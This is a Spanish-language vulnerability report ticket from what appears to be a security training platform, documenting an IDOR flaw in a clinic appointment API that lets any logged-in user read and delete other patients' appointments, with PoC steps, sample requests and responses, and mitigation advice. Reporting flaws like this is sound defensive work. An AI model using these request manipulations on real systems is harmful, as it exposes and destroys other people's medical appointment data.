HALLAZGO TCK-4170EA Pendiente Validación

Software Seguro v1.0.0

Plantilla: Ticket Software Seguro

Ref ID: TCK-4170EA

TÍTULO / NOMBRE REPRESENTATIVO

IDOR: Acceso no autorizado y eliminación de turnos de otros pacientes.

CATEGORIA

IDOR (Insecure Direct Object Reference) / Broken Access Control.

SCORE

8.8 (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

URL AFECTADAS

https://chl-5ef10863-c73c-441b-bcbe-5d32965d20e0-turnero.softwareseguro.com.ar/api/{user_id}/appointments/
https://chl-5ef10863-c73c-441b-bcbe-5d32965d20e0-turnero.softwareseguro.com.ar/api/appointments/{id}

ENDPOINTS AFECRADOS

GET /api/{user_id}/appointments/
DELETE /api/appointments/{id}

DESCRIPCION

En el endpoint de consulta, cualquier usuario autenticado puede acceder a informaci
ón de los turnos pertenecientes a otros usuarios, mediante la manipulación de ident
ificadores, sin que se verifique adecuadamente si cuenta con los permisos necesario
s para acceder a dichos recursos.
Asimismo, el endpoint de eliminación permite borrar turnos pertenecientes a otros u
suarios mediante el envío de una solicitud DELETE con el identificador del turno co
rrespondiente, sin realizar una validación adecuada de los permisos sobre el recurs
o.

PRUEBA DE CONCEPTO (POC)

1. Acceder con un usuario valido
2. Realizamos una peticion GET al endpoint /api/{user_id}/appointments/ por otro id
3. Observar la respuesta que incluye datos de sus turnos de ese usuario
4. Repetimos sucesivamente para poder comprobar toda la exposicion de informacion
5. Realizamos una peticion DELETE al endpoint /api/appointments/{id} con datos de a lgun otro usuario que hayamos accedido, conociendo el id se su turno
6. Observar que la respuesta da un mensaje de confirmacion
7. Observar que al realizar la peticion GET del endpoint /api/{user_id}/appointment s/ no incluye el turno eliminado

MITIGACION / RECOMENDACION

- Implementar controles de autorización en los endpoints afectados
- Asociar las consultas al usuario autenticado
- Aplicar el principio de mínimo privilegio
- Centralizar y aplicar las comprobaciones en todas las operaciones

EVIDENCIA

Evidencia 1: Acceso no autorizado a los turnos (GET)

1. Peticion realizada:
       GET /api/101/appointments/

2. Respuesta del Servidor:


```
[
    {
        "clinic": "Hospital general",
        "date": "2026-10-20T23:54:45.105579",
        "id": 10,
        "specialist": "Dra. Martinez",
        "user": "xdalvik",
        "user_id": 101
    },
    {
        "clinic": "Hospital universitario",
        "date": "2026-10-18T00:54:45.105617",
        "id": 11,
        "specialist": "Dra. Sánchez",
        "user": "xdalvik",
        "user_id": 101
    },
    {
        "clinic": "Clínica San Martín",
        "date": "2026-10-17T20:54:45.105657",
        "id": 12,
        "specialist": "Lic. Torres",
        "user": "xdalvik",
        "user_id": 101
```

```
        "user_id": 101
    },
    {
        "clinic": "Clínica de los Andes",
        "date": "2026-10-19T19:54:45.105695",
        "id": 13,
        "specialist": "Dr. Romero",
        "user": "xdalvik",
        "user_id": 101
    }
]
```


Evidencia 2: Eliminacion no autorizada de un turno (DELETE)

1. Peticion realizada:
       DELETE /api/appointments/13

2. Respuesta del servidor:


```
{
    "message": "Turno eliminado correctamente"
}
```


3. Revisamos peticion GET /api/101/appointments/ nuevamente.

4. Respuesta del servidor:


```
[
    {
        "clinic": "Hospital general",
        "date": "2026-10-20T23:54:45.105579",
        "id": 10,
        "specialist": "Dra. Martinez",
        "user": "xdalvik",
        "user_id": 101
    },
    {
        "clinic": "Hospital universitario",
        "date": "2026-10-18T00:54:45.105617",
        "id": 11,
        "specialist": "Dra. Sánchez",
        "user": "xdalvik",
        "user_id": 101
    },
    {
        "clinic": "Clínica San Martín",
        "date": "2026-10-17T20:54:45.105657",
        "id": 12,
        "specialist": "Lic. Torres",
        "user": "xdalvik",
        "user_id": 101
    }
]
```